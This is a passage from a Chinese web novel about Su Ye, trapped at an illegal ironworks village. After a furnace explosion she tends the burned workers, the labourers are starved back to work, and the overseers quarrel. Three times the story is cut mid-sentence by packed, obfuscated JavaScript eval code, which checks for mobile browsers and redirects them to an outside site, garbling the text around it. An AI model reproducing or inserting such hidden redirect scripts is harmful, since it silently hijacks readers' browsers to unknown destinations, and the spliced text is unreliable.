周边的人受了惊，有些人被铁水溅到，正捂着伤口嚎。 苏冶一行人离得远，铁水虽未溅到，浓烟却顺着这个方向飘了过来。 “快走！”反应过来后，赵大娘喊着驱散周边的人，一时间众人四散奔走。 见状，苏冶忙撕下一片衣襟，到河边打湿，蒙住口鼻便往黑烟里冲去。 忽然，余光一道影子闪过，和她朝着一个方向跑。 她抬眼看去，那人正是小白。他比苏冶快上几步，苏冶看清他的时候，他已经钻进了浓烟之中，苏冶紧随其后跟了上去。 热浪扑面而来，刺得眼眶发烫。她用手不断擦拂眼前的模糊，勉强辨清四周情形。 炼炉已经炸得满地残片，还没褪去高温的铁水正沿着裂缝四散流淌。 至少有十余人人都倒在地上挣扎，衣料沾着铁水滋滋作响。 她蹲下身，抓住最近那人的肩头布料，咬牙往外拖拽。 毕竟是成年男子的重量，她双臂有些发颤，却不敢停下。 这些人身上四处都是烧伤，绝对不能继续留在高温环境里，得尽快带他们到河边降温。 就在此时，一双手抓住了苏冶的胳膊，她抬头看去，是小白，他用眼神向苏冶示意。 苏冶明白了他的意思，果断放开了手，转身去拖其他人。 两人就这样互相搭手，几个来回后，那些人都被拖到了河边。 苏冶直接瘫在了地上，大口喘气儿。 “你的手。”头顶传来一道声音，苏冶抬了抬眼，正是小白，他正俯身和她说话。 她知道，刚刚抬人的时候沾到了别人身上的铁水，胳膊上烧到了一处，只是现在累得紧，没力气起来。 “没事，等下用凉水浸浸便行。” 小白似乎还想说什么，最终还是没有继续说下去，轻声嗯了一下后，便起身离开了。 没一会儿，赵大娘带着王喜一行人赶到了这里，手里还抬着担架。 “你这是怎么了。”王喜见她大剌剌躺在地上，手上还带着伤，紧张地问：“刚刚受伤了不是。” “没有，就是累。”苏冶道。 忽然，胳膊处传来一阵冰凉的触感，她支起半个头，瞧见小白正拿着水瓢往她手上浇水，旁边还放着一个木桶。 苏冶心里对小白的细心有些感动，“谢谢啊。”她转头示意河边，“先去洗把脸吧，一会眼睛瞧不见东西了。” 浓烟里熏了一趟，小白已经变成小黑了。 听她这么说，小白也没和她犟，起身朝着河边走去，她自己也支着胳膊爬了起来，担心自己要是再躺下去，王喜得怀疑她死了。 受伤的人刚刚都已经被转移到了河边浅滩处，身上被溅伤的部分已是血肉模糊，看着十分渗人。 此刻，这些人不似刚才的撕心裂肺，看上去都奄奄一息，没了气力。 苏冶走向河边，小白正用水洗去脸上的黑色，这些东西沾了眼睛，若不洗干净，容易进眼睛。 她正想要开口同小白说句话时，几个村民抬着躺人的木担架走上前，欲将河边的人移走。 苏冶连忙制止，“先不要动，铁水溅的伤得凉一会儿，这片水已经热了，把人往河中间带带，拖着头颈往深水里带，小心不要呛到，再去找些水桶和水瓢往身上其它地方浇。” 说着，苏冶走到浅滩处一人身边，轻轻将他往里面带了带，王喜见状也跟了上去。 那几个抬着担架的人一动不动，不太相信苏冶一个小妮子的话。 “愣着作甚！”赵大娘发声了，“照着做。” 几人见状，连忙上前将那些人往河边带。 “动作都轻些！”赵大娘厉声道。 苏冶看着手下那人身上被铁水蚀出的刺目的伤痕，心头发紧，“得快点找郎中。”她对赵大娘说。 这河水不干净，降了温也有感染的风险，必须配合药物治疗。 赵大娘看着苏冶，似是想要说些什么，罢了，还是指着河边一个男人道“你过来，先帮我支着。” 男人过来搭了手。 赵大娘抹了把脸，便疾步往小路处去。 如今村子里三十来人基本都在这一处，曹经的人守在出村各个口隘，若不是他的人，要请郎中，那些人必定与之纠缠一番，她得亲自去。 —— 苏冶这边，伤者在河边降温完后，人都上了担架，三三两两抬着往屋子里走。 “你跟着她们去，我待会儿就来。”苏冶跟王喜说道。 王喜看了眼炉子爆炸的残渣和苏冶右手手臂上被铁水溅到的伤，叹了口气，“那你小心点。” 苏冶点了点头，便往刚刚炉子爆炸的地方走去。 经过这么一番折腾，铁水和残渣的温度都已经冷了下来。 苏冶跨入废墟中，炉子被炸成了十来块，地面也有了塌陷，索性这炉子比起寻常的高炉体积小些，否则后果无法想象。 她蹲身捡起一块炉壁残片，指腹擦过断面，打量了一番，光是看看色泽，便知道白鳝泥用得少了，大多是黄泥，胆水的比例大概率也有差池。 苏冶前世可不是个纸上谈兵的理论派，而是切切实实学着动过手的，她一模便知道这东西偷工减料。 搪炉的工序有三道，这炉子明显少了中间一道没用油炭灰和铜釉渣，偏偏这层是耐火材料，半点马虎不了。 她攥紧碎片起身，指节因用力有些发白，刚刚的一幕幕再次浮现在眼前。 不知这黑窑背后的主人是曹经还是另有其人，总之是个黑心肝的畜生，为了几两银子的便宜糟蹋人命，偏偏叫这些人连个痛快都没有。 想着，松开了手，朝着来时的路返回。 —— 还没走到自个儿院门前，阵阵哭声和喊叫声便从其它屋里传来，直直撞进了苏冶耳朵里。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177135|180764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她心下揪紧，脚步不由得一缓，深吸了一口气后，便循着哭声走到那屋的门前，微微探头朝里面看去。 目光越过门槛，只见天井中央搁着一副担架，躺在上面的人盖着块旧布，就那样放在地上，一旁扎着头巾的中年女人趴在那人身上，只顾着哭，看着快要晕过去。 “陈大娘，宽宽心吧，谁让咱进了哑沟这鬼地方，都是命。” 原来这村子叫哑沟。 “谁知道今日就来了这么一出，这些黑心让我们去送命，老子就是当了鬼也不放过他们。” 地上那人大概已经没了性命，帮忙抬担架的两个男人在妇人身旁安抚。 苏冶默然离开，往住处走。 回去的路上尽是这样嘈杂的声音，她心里像是被什么东西堵着。 —— 回到住处时，刚踏进院门，苏冶便听见东厢房传来窸窸窣窣的响动。 倏的，木门“吱呀”一声裂开条缝，瘦猴佝偻着身子钻了出来，背上鼓鼓囊囊的粗布包压得他脖颈前伸，活像只偷油的耗子。 恰在这时，西厢房的门打开，王喜走了出来。 瘦猴左脚刚跨过门槛，突然瞥见了西边儿门口二人，顿时僵在原地。 “巧，巧啊……”瘦猴干笑两声，右手攥紧了包袱袋子，左脚慢慢后撤，布鞋在夯土地上蹭出了半条弧线。 王喜正要开口，瘦猴突然猫腰窜向院门，包袱在背上颠得哗啦作响，隐约露出半截粗瓷碗和灰布衣裳。 他跑得急，被门槛绊了个趔趄，却不敢停留，连滚带爬往前扑。 苏冶看了瘦猴这一出马戏表演，有些无语。 "这杀才！"王喜一把拽住苏冶的袖子，"咱们也......" 苏冶反手按住她颤抖的腕子："你听。" 外边儿突然传来杂沓的脚步声，还混着铁器碰撞的脆响，突然，爆出瘦猴变了调的嚎叫："各位爷，我这是去给伤患取衣裳啊！" "取你娘个！"粗粝的骂声炸响，紧接着是棍棒着肉的闷响。 瘦猴的哀嚎一声高过一声，在巷道里撞出回音。 王喜扒着门缝往外看，四个拎着哨棒的汉子围作半圆，瘦猴蜷在墙角，包袱散开，粗陶碗碎成三瓣。为首的刀疤脸一脚踏住他小腿："跑？老子打断你的狗腿！" 哨棒雨点般落下，瘦猴开始还满地打滚讨饶，后来突然四肢一挺，两眼翻白没了动静,棍子抽在腰腹上，只激起几下微弱的抽搐。 "装死？"刀疤脸抡圆了棒子就要往膝头砸。 旁边汉子突然架住他胳膊："行了，今儿个想跑的不少。"说着朝院门方向斜了斜眼，"杀鸡儆猴就行" 棍棒声渐渐远去。王喜这才发现自己的指甲已经掐进掌心，留下四个月牙形的血印，苏冶蹲到瘦猴跟前，他脸上糊着血和土，眼皮却在微微颤动。 "别装了。"苏冶捻起他包袱里掉出的半块馍，"你要真没了，这吃食就便宜我了" 果不其然，那瘦猴睁开了眼睛。 "别。" 5. 诉棍 瘦猴鼻青脸肿，却不忘表情管理，每每开口必先挤出三分笑意。 苏冶本就没想着贪他那几口馍，见他睁了眼，便塞回了瘦猴包袱里。 “昨个还没问你，尊姓大名？” 瘦猴龇牙咧嘴道：“两位娘子先搭把手可好。” 苏冶和王喜对视了一眼，于是乎一人拽了瘦猴一只胳膊，将人往屋里拽去。 “呦呦呦轻些……” 瘦猴疼得直叫唤，俩人也没手下留情。 待在东屋坐定，瘦猴才道明来历。 “在下原是县里远近闻名的状师……” 状师，放如今就是打官司的。 苏冶下意识想问，法考过了吗，律师资格证有吗……好的串台了。 有县衙编制吗，没有的话，大概率是个诉棍。 如果把古代基层社会的衙门比喻为屎缸，诉棍就是那根滑溜的搅屎棍，搬弄是非，颠倒黑白，专坑害老实人。 苏冶继续听他说下去。 “本人姓来，名唤人聪。” 来人聪，来根葱，这姓氏倒是稀奇，苏冶心想，随即切入正题： “那你是怎么到的这地方？” 来人聪深深叹了一口气。 “咱县里有个姑娘叫小翠，清清白白本是良人，奈何孙家那天杀的二世祖瞧着她模样俊，又欺她无父母庇护，强抢了小翠去做小妾，不想小翠进去没几日，孙大郎便失了兴致，冷落了她，偏那正室娘子是个母老虎，背地里板子罚跪一样不少，动辄落下小翠一身伤。” “后来，她不知托了谁，寻上了我，我瞧她可怜，帮她去县衙递了一状，不曾想那孙家在外是个好面子的主儿，要顾及那大娘子，恰好孙家人同那府衙关系匪浅，竟反咬一口，乱判了黑白，小翠送回了孙家那魔窟，连带我也受了个挑唆的罪名下了大狱。” 他这话全然将自己摘了个干干净净，苏冶和王喜对视一样，都是半信半疑，“那你又怎的从牢里到了这地方。” 来人聪闻言，又是一口气叹得老远。 “不只是那日，有个姓曹的人找上了我，说是和县丞有旧，愿意帮我摆平这事儿，只是事后需要些银钱打点。” 说着，来人聪狠狠拍了下头，“我当时日子难，一心记挂着出去，哪想那么多……” 之后的事情不用想也知道，曹经是一招鲜吃遍天，骗人的法子换汤不换药，却又能因人施策，抓住不同对象的核心需求，为其量身定做上当攻略。 想来这人的成功也是不无道理。 诉完了自己的入村经历，来人聪问起了苏冶和王喜，“还未请教两位娘子芳名和来历。” 苏冶简略说了她和王喜被骗的经历，但是隐去了李三还没死的事情。 “这么一看，咱们也算是同病相怜，日后定要互相照应着些。” 苏冶敷衍应下，环视一圈后，开口问道： “小白和那位大叔呢，为甚这里就你一人？” 王喜也注意到了，“对头，这时候，不在这里，去了何处。” 来人聪听了这话有些疑惑，“小白？” 看来是还不知道小白的名字。 “相貌好看那个。”苏冶提醒道。 来人聪恍然，“姑娘怎的知道那人名唤小白？” “他没告诉你？”苏冶诧异道。 “我倒是问了，但那小兄弟瞧着性子沉闷，没同我说。”来人聪目光带着几分了然，“小白这名字听着可不大可靠，八成是个化名。” 苏冶自然也猜想过这不是小白大名，可他既然说如此自称，她听着便是，何必深究。 “横竖是个称呼，叫什么都一样。” 来人聪跟着点了点头，“小苏这话说的有在理，那会儿伤了人后，小白和那大叔便不知去向，至今未归。” 听得“小苏”这称呼，苏冶的脸顿黑了脸，尤其是从那张腻滑的嘴里说出来，还带着三分调笑。 “要么唤我大名，要么叫我苏姐。”苏冶无语道。 “这如何使得，如今是患难同袍，不能生份，你瞧着有比我小上几岁，叫小苏正合适。” 苏冶懒得与他纠缠，丢了句“我是女子，同你做不了同袍。”后，便起身同王寡妇朝门口走去。 后面来人聪还在叫喊：“小苏莫要介怀啊。” —— 回了屋，王喜便同苏冶盘起了眼下的情形。 若非今日变故，此刻她们本应在伙房里替那些铁佬做饭。 “糟了这事儿，不知道那黑炉子还开不开。” 王喜忧心忡忡。在她想来，伤了这许多人，高炉理应停歇，自然不该再开，即便重开，谁还敢去卖命。 苏冶却摇了摇头，“不会停。” 伤了这么多条人命又如何，进了这黑窑的人，都是没法子在青天白日底下下行走的敞亮人，曹经正是摸透了这点，才敢肆意妄为。 刺配流放之人客死异乡并不稀奇，来人聪家里若是还有靠得住的亲眷，必不会等着曹经来诓骗。 还有她和王喜，某种程度上都算是偏远地区的“寡妇”，即便这样消失，也掀不起多大风浪。 总而言之，这里的人就算悄无声息地死了，也闹不出多大的官司，但若是还有条命，曹经自然是想着多榨些苦力的油水。 “若真是这样，姓曹的这个黑心鬼来日是要下地狱的。”王喜恨声道。 苏冶淡淡道：“他下不下地狱，同我们的死活没干系。” 她不信奉一报还一报的说法，只顾念自己，今日有人折了性命，他们该想的是来日如何保命，而不是盼着曹经同他们一般，说到底对他们自己没甚好处。 这世道本就没个公平，徒生的怨恨到头来是消磨自个儿，倒不如想办法让自己过得更好些。 “你说得是，咱们总得想法子逃出去。”说着，王喜想到了来人聪白日里的倒霉样，不由泄了几分气，“都这些个时候，这些畜生还防得这般紧。” 苏冶道：“这地方估摸在这里也不是一日两日了，即便没有今日厉害，先前想必也出过事，越是这种时候，曹经脑袋上越是多开了一个眼，眼下不宜轻举妄动。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177136|180764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王喜点头称是，又想到了那些伤患，便说道： “这赵大娘说是去请了郎中，不知如今回来了没。” 说到赵大娘，王喜道出心中疑惑，“妹子，你说这赵婆子究竟是何来路，我本琢磨着她同我们一样，是被姓曹的诓骗来的此处，可看她在曹经手下跟前颇有脸面，倒也不像。但若说她和姓曹的是一伙儿的，偏又不似那般穷凶极恶。” 王喜所说却也是苏冶的纳闷之处。 确实，赵大娘虽说不上和善，但也不像曹经那般狠毒，从今日高炉爆炸她救人的情状看，多少也算是顾惜她人，做事情也是十分利落，是个能拿大局的人。 其中蹊跷，或许日久自明。 —— 就在王喜谈论起赵玉芬时，她正策马疾驰在回哑沟的路上。 身后驮着的白发郎中已被颠得七荤八素，不住告饶： “妹子行行好……好说缓些，老身这几把脆骨头实在消化不下……” 这大夫被蒙着眼睛，看不清周身情景，心头更是发紧。 “老人家，非是我不挂念您，奈何家里人等着救命，耗不起。” 说着，赵玉芬又扬了一鞭，加快了速度。 苏冶和王喜见了此景定会诧异，赵玉芬看着身形臃肿，骑术却十分了得。 实则赵玉芬骑马射箭都有些能耐，儿时在杂耍班子练出来的门道刻进了骨子，她向来比别人强健几分。 不消多会儿，那倒霉大夫便被送到了哑沟。 其中受伤一人的娘子瞧见赵玉芬的身影，连忙跑了过来，瞧见她身边跟着个斜挎药箱的白发老人，顿时哭喊道： “您可总算是回来了，快去看看我家男人，再晚一会儿怕是就不行了。” 赵玉芬正要引郎中去，不想那大夫刚要抬脚，不远处又跑来一男人。 “快去看看我家哥哥，身上疼得紧。” 这大夫见状看了看赵大娘，不知该跟哪个走。 不想这时又有人跑了过来，哭喊着屋里人被伤了眼睛，正等着救。 一时间伤患纷纷出巢，大夫却只有一个。 末了，还是赵玉芬拿了注意，转身朝那大夫说“先跟过去都看看，紧着性命在即伤势重的救。” 那大夫闻言点了点头，盯着一额角的汗跟了最初跑来那几人去。 余下众人见状都急了眼。 “伤了这么多人，就唤了一个郎中，该我们命贱，白白为了你们这些黑心肝的……” “我们当家的如今伤了腿，对你们没了用处，明日怕是就要去喂狗。” “……” 一时间哭声死起，刚刚那妇人哭喊着要去撞墙，大夫见了这情状也不知该如何是好，一时半会儿脚下也走不动了道。 赵玉芬忙叫人拉住那要撞墙的寡妇，语气狠厉道：“要死便往人稀罕的地方死，少打我面前无赖，今日这大夫动不了脚，里面躺的若丢了性命，我只管往后山上一扔，席子也别想要一张。” 说罢便拽着郎中径直往其中一伤者处走，任凭身后咒骂声不绝。 6. 威胁 待到晚间，小白同那络腮胡大叔回到院中，来人聪闻声便迎上前去。 “好两位祖宗，让我好等，快说说白日里去了何处。” 小白瞧着来人聪一派热络的模样，默不作声，倒是络腮胡子，正欲开口，这边苏冶二人便从屋里走了出来。 来人聪见众人都齐聚院中，拍手笑道：“巧了，昨日仓促，只打了个照面，如今既有闲，索性好好结识结识。” 院中诸人苏冶大抵认全，唯独那位络腮胡大叔没甚交集。 “我叫苏冶，敢问阁下尊姓大名。”苏冶抱拳道。 络腮胡子拱手还礼，“在下姓杨，单名一个千字。” 互道名姓后，杨千暗中打量了苏冶几眼，这姑娘眉目清秀，气度大方爽利，即便如今落到这般境地，面上也无太多消沉之色，瞧着倒是个性子敞亮之人。 寒暄过后，苏冶转向小白，“你和杨大哥白日去了何处。” 不待小白应答，杨千便道：“白兄弟会些医术，去那些伤患住处帮着照看，我帮着打了打下手。” 原来小白还懂医术。 这时，小白开口了，“皮毛而已。” 话音未落，来人聪插嘴道道：“诸位想必都是遭难沦落此地，该合计个脱身之计才是。” 事到如今，来人聪还是一心念着逃跑，只是如今情形，怕是举步维艰。 “你白日里吃了棍棒，自然知道这事艰难。”王喜道。 来人聪浑不在意，“既入了贼窟，岂有不受打骂的道理，但若一辈子搭在这地方，才真正要命。” 一旁的杨千见状打圆场，“来兄所言在理，此地险恶，确非久留之地，只是眼下风声紧，切不可轻举妄动惹了疑。” 来人聪这才悻悻住了口 “天色已晚。”苏冶忽然道，“今日既与诸位相识，便不耽搁了，各自早些歇息吧。” 话毕，便转身朝屋内走去，余下众人闻言也径自回了屋。 苏冶倒不是不愿再多说些话，只是是她秉持着早睡早起睡眠充足的原则，不愿将时间浪费。 —— 翌日拂晓，天色渐明，院门的锣声已穿透了窗棂。 苏冶被吵醒，揉了揉眼，推门门向外看去，赵玉芬已带着帮闲挨户敲锣。 “都醒醒，今日照常上工。” 随着赵玉芬的吆喝声渐远，来人聪的骂咧声传了过来，“果真应了前话，那鬼炉子伤了人，还要咱去送命。” 不只是来人聪，几个胆大的已冲出院门，指着赵玉芬破口大骂。 "黑心肝的贱妇，当家的尸骨还停在院儿里，就盘算着害人，就这条破命，今天就是死在这儿，也不去当那冤死鬼——" 说着，那妇人便直直往赵玉芬的方向冲去，似要与她拼命。 只不过还没近的了赵玉芬的身，就被左右两个身彪体壮的保镖就上前拦住了，随即被一脚踹在了心口上，那汉子的脚使力有些门道，当场就让那妇人呕了血。 余下众人见了这般情状，面面相觑，一时间都生了几分惧怕。 就在这时，一道声音自身后传来，赵玉芬回头看去，竟是杨千。 “大娘莫要动手。” 赵玉芬面上几分冷意，“不识抬举的，合该吃些苦头。” 杨千不疾不徐道，“大家自然识得好歹，吾等本都是该死之人，蒙收留方得了处栖身之地，心中自然是感念……” “……” 众人听了杨千这话，一时间脸上表情都变了味儿，再次看向杨千时，脸上都带着几分敬佩，都忍不住给他竖个大拇指。 苏冶见杨千这么说，面上未露半分揶揄，只是听他把话说下去。 “只是如今出了事，当日在炉旁之人，死的死，伤的伤，众人心里有怨亦有惧，一时难以调解，并非是想同大娘作对，望大娘施舍几分怜悯，暂时宽限几日，容死者有空隙超度，生者有余闲宽心，何必闹得两败俱伤。” 杨千这番话说的滴水不漏，似是说动了赵玉芬，引得对方默了片刻，而后开口： “杨中尉到底是蹚过天家的浑水，话说的漂亮。” 话毕，她的目光从杨千脸上收了回去，扫视众人。 “既是如此，便再容诸位休整几日，何时有了气力，何时去河边，我也休落得个恶人名声。” 说罢，赵玉芬竟就真真带人走了。 一时间，众人看向杨千的眼神从阴阳变成了钦佩。 “听来兄弟竟是京城人士，想必是是个军爷，如今落到此处，着实可惜。” “今日多亏杨大哥支走妖婆子，免了我们送命。” 杨千只笑着颔首，转身回了院子。 众人似都松了一口气，唯独苏冶，盯着赵玉芬离去的背影，总觉得有些蹊跷，不太相信她就这么松了口。 事实证明，苏冶的直觉是可靠的。 他们刚回屋没多久，门口就多了两个站岗的守卫，手里都拿着家伙。 她心里有些不太好的预感，朝着门口走去。 果不其然，她刚到门口，便被刀锋逼退。 “不能出去？”苏冶道。 那人不说话，手上的刀确实没放下来，便是默认了。 苏冶心下了然，回了屋。 没过一会儿，来人聪发现被囚，不敢硬闯，来敲了苏冶的门，见王喜也在，三人便往东屋找杨千和小白。 “这是怎么个事儿，说着宽限几日，又不让出院门。”来人聪一屁股坐在地上。 就在这时，苏冶开口了，“这是在威胁我们。” 来人聪脸上闪过一丝诧异，“怎讲？” 苏冶提醒道，“咱院里可有伙房？” 霎时，来人聪恍然，捶地道:“这是要逼咱们，不出去上工，就没饭吃。” 杨千道：“想来各院都已是如此，安排了人守着。” 苏冶点了点头。 赵玉芬若是来硬的，打可打死个人立威，但村中本就人丁稀少，炉祸后又折损不少，她得留着这些劳力。 而断粮这招，既不会损了人力，又能逼人就范，毕竟人在吃不饱饭的时候是不要命的，就这么挨上一两日，这些人自然会出来。 来人聪啐了一口，“这人想得倒便宜，饿死总比被那铁水烧死来的体面。” 虽然嘴上这么说，气儿却已经蔫儿了下去…… 王喜在这时说道，“上工的不出，咱们这两个下伙房的自然也没了用处。” 杨千忽然看向苏冶，“苏妹子可有良策。”从昨日事发到今日，这姑娘说话做事处处透着与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177137|180764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年龄不符的可靠，或许有些主意。 苏冶摇了摇头，“如今这样，只能等。” “等？等着饿死？”来人聪急道。 “来兄弟莫要这般，苏妹子这样说，自有她的道理，如今被困在这里，我们不能自己乱了阵脚。”杨千看向了来人聪，对方也低下了头。 就在此时，苏冶看向了一直坐在角落里没有说过话的小白。 “你以为？” 小白知道这是在问他，沉思片刻后，开口道，“等。” 王喜和苏冶交集颇深，看她如今这般，晓得她是心里有了主意，只是不方便同众人多说，便也不在相问，转而看向杨千。 “那会儿听见杨大哥是京城人士，可是有此事。” 杨千神色一黯，旋即苦笑。 王喜见状连忙道，“必是戳中了大哥伤心事，便当我不曾问起。” 杨千却是收敛了面上悲意，苦笑道:"无妨，如今到了这番境地，横竖不知能活几日，不若将心里苦闷诉上一番，下了黄泉也无甚后悔。" 王喜道：“大哥只当说来听听。 杨千道：“某原是京城兵马司下副指挥，家有一妻一女，本也安乐。不曾想几月前，冀州百里家大公子受诏入京，返程时着我护送，那大公子有个好色的秉性，不顾劝阻入了那烟花之地，谁料到其中早有仇家设下埋伏，虽虽护住他性命，却是废了一条腿，回京后不久，百里家竟反咬一口，某被判流放，不曾想那畜生赶尽杀绝，遣人途中谋害，妻女因此丧了命，某侥幸逃出，无处可去，恰在此时，那姓曹的兄弟寻上了我，只说是找个地方安顿，便来了此处。” 苏冶听了这话，想着这杨千的遭遇确实与旁人不大相同，某种意义上说，曹经确实给了他一处安身之地，虽是利用，但也有个归处，杨千那会儿对赵大娘说的话不全然是奉承。 视线无意一转，苏冶视线落在了杨千身旁的小白身上，他低头不语，不知为何，苏冶觉着他的面色有些怪异，虽也是通往一般平和，却隐隐透着几分不易觉察的冷戾。 就在他抬头时，苏冶不着痕迹收回了视线。 王喜已骂起来，“这些天杀的权贵，净是害人的勾当。” 来人聪拍着杨千肩膀，“大哥宽心，天道好还，这些人迟早要遭了报应。” 似是想到什么，来人聪又道，“话说当年司徒家造反，冀州急先锋，如今自然受看重。” 随即，他脸上浮上一层笑意，“不过坊间都在传，城破当夜，李家皇嗣一人一骑从京城逃了出去，一路上还斩了司徒家几员心腹大将，是个英勇有能耐的，如今那太子爷八成是还没找到，不然以司徒家的德性，人头早就挂上了门楼，天下皆知。” “如今南境五州尚未完全归附，司徒家的江山还未坐稳，指不定哪日那太子卷土重来，到时候百里家也不能幸免，杨大哥的仇自然报得。” 来人聪这话说得虚，杨千亦是苦笑着应了两句，不再言语。 若苏冶没记错，太子李冼出逃京城时不过十六，若是在现代，尚是读高中的年纪，要与司徒家抗衡，不是易事。 但他若是藏得好，趁着年轻，熬上些年头，熬到司徒家的江山腐朽，倒也未可知。 实力拼不过就拼寿力，这样的例子也不是没有。 7. 菩萨 哑沟那头，黑工的肚皮饿得咕噜作响，厢房这头，赵玉芬的算盘珠子拨得噼啪乱响。 算珠碰撞声咕噜作响，赵玉芬眉心拧成一个“川”字，心里早把曹经祖宗十八代翻来覆去问候了个遍。 距高炉炸裂已过了两日，各院儿竟还硬挺着不出声，这些人的骨头倒是比曹经料想的要硬些。 前日事发后，她策马直奔小曹村，远远就瞧见曹经倚在常去的那处茶肆凉棚下，同那掌柜的有说有笑。 赵玉芬猛勒缰绳，一个急刹下马，马蹄尚未停稳，她已经一个箭步冲到桌前，还未待曹经看见她，便抬脚便将曹经面前的矮几踢翻，茶壶杯盏应声碎裂，烫茶朝四面溅去，疼得那掌柜的倒吸一口凉气，正要破口大骂，待看清是赵玉芬时，又将骂词咽回了肚里，只拿眼去瞟曹经。 “嘶——”掌柜的揉着手背，“你这厮又干了甚浑事，惹得咱赵大姐连带咱家一同掀了个底朝天。” 场面火热，曹经却是面色不改，慢条斯理地从袖口里摸出一锭银子塞进了掌柜的手里，笑道： “今儿个对不住，快去缸里过过凉的，明儿个再同你闲磕牙。” 说罢，曹经转身朝着远处空旷些打谷场走去，赵玉芬冷哼一声，紧跟其后。 …… “你那炉子响了炮仗，伤了十来人，怕有几个见不到明天的日头。”赵玉芬声音压得低，话像是从牙缝里挤出来的。 曹经掸了掸衣袖，“既伤了人，与你些银钱，请郎中便是。” 说着，曹经拿出青布钱袋，取出五十文钱，“城南张大夫稳妥。” 赵玉芬盯着曹经摊在掌心的铜钱，没伸手去接，“这点子钱，也只能请张大夫。” 曹经坦然道，“张大夫一人便够了。” 赵玉芬再也按捺不住，一步上前扯住曹经领子。 “当日必定是你在造炉的银钱上做手脚，才有了今日这事，哑沟里人再下贱也是活生生的人命，你就不怕天打雷劈。” 曹经也不挣脱，语气冷静道：“非是我不想多请几个郎中，一来人多口杂，容易走漏了风声。” “二来……“他瞥了眼赵玉芬紧攥的拳头，“眼下这光景，耽搁久了，便是悬着那伙人性命。” 闻言，王喜手上松了几分力道，但面上怒意也没去几分。 “少同我打马虎眼，你肚子里盘算什么，我一清二楚。” 曹经曾对她说过，哑沟这地方虽是偏僻，到底不是全然与世隔绝，对那些苦力，不能太过和善。 这些年他们一人唱红脸一个唱白脸，这门见不得光的生意才能做得长久。 所以每逢有人染病，曹经向来不管不顾，照样逼着上工，便是死了也当是张少吃饭的嘴。 想到此处，王喜眼神黯了黯。 “你怕是忘了，你自己初同他们一般……” “自然没忘。”曹经打断了她，嘴角扯出个讥诮的笑，“不是当初，如今我仍是条贱命，干的也净是些腌臜勾当，我瞧自己瞧的清楚，即便兜里多几个铜板，也洗不净这一身腥膻，当不了体面人。。” 忽的，他盯住赵玉芬的眼睛。 “倒是你，活了这么些年，还没活明白，泥水里打滚了半生的人，莫不是心里还念着当菩萨，死了登极乐。” 日头燥得紧，热风卷起几根麦穗，打在了赵玉芬鞋面上。 她没再接话，只冷冷道：“再给我三两，你既不放过那些人，这钱我有用处。” 这回曹经倒是爽快，麻利地解下钱袋递给了赵玉芬。 赵玉芬接过银钱转身就走，马蹄声很快消失在尘土飞扬的官道上。 —— 赵玉芬支这三两银子并非临时起意，心里早盘算好了章程。 如今哑沟众人都被高炉吓破了胆，不敢上工，她虽面上强硬，到底没打算真饿死那些人。 依曹经的性子，绝不肯出钱置办新炉，故而她退求其次，这三两银子好歹要将剩下两口炉子修整修整。 但她做事多少也沾些曹经的风格，比起直接同众人说了修缮高炉的事情，不若先饿上他们两日，让这些人把心放得更低些，锐气磨尽，届时修缮，便应了曹经常挂在嘴边那句“恩威并施。” 只是这修炉之事也非易事 当日建这三口炉子时，曹经外包给了家品相不好但价格便宜的铁器铺子，这回自然得寻着家靠谱些的。 曹经这些年经营的黑市买卖牵扯甚广，打通了一条完整的生意线，其间不止是生产，还有人情，哑沟的勾当见不了光，不能随便找人插手。 就在她想着如何料理这事儿时，门帘响动 赵玉芬转身看去，是派去看院儿的杂役。 “有个丫头熬不住了，死活要见。”那人道。 “就一个？”赵玉芬道。 “是。” 赵玉芬点了点头，“让她进来吧。” —— 苏冶进屋后，赵玉芬正气定神闲地打算盘，见到苏冶进来，也没抬头。 “怎的就你一个，既来了，就没说动同院儿人，你一个烧火丫头，也没甚用。” 没说动？ 她走的时候，来人聪耍无赖在地上打滚，一个劲儿地叫嚷饿死，要和她一起来，最后还是杨千给了一下，他才不再闹腾。 不过听赵大娘的语气，怕是只来了她一人，哑沟里的人倒是硬气，压迫久了，自然会有反抗。 她没理会赵玉芬的奚落，直截了当道： “我有办法让那炉子重新开火” 言下之意，能让那些工人自愿回去干活。 听了这般说，赵玉芬停下了手上动作，抬眼看向她。 算珠声戛然而止，赵玉芬抬眼打量起眼前的姑娘。 “黄毛丫头口气不小，怕不是饿昏了头说胡话。” 苏冶下意识想想反驳一句她勤刷牙没口气，末了还是憋了回去，只掏出个手掌大小的布团，底部已经发黑，瞧着是里面的东西渗了出来。 放在桌上后，苏冶打开了布团。 ““这是什么？” 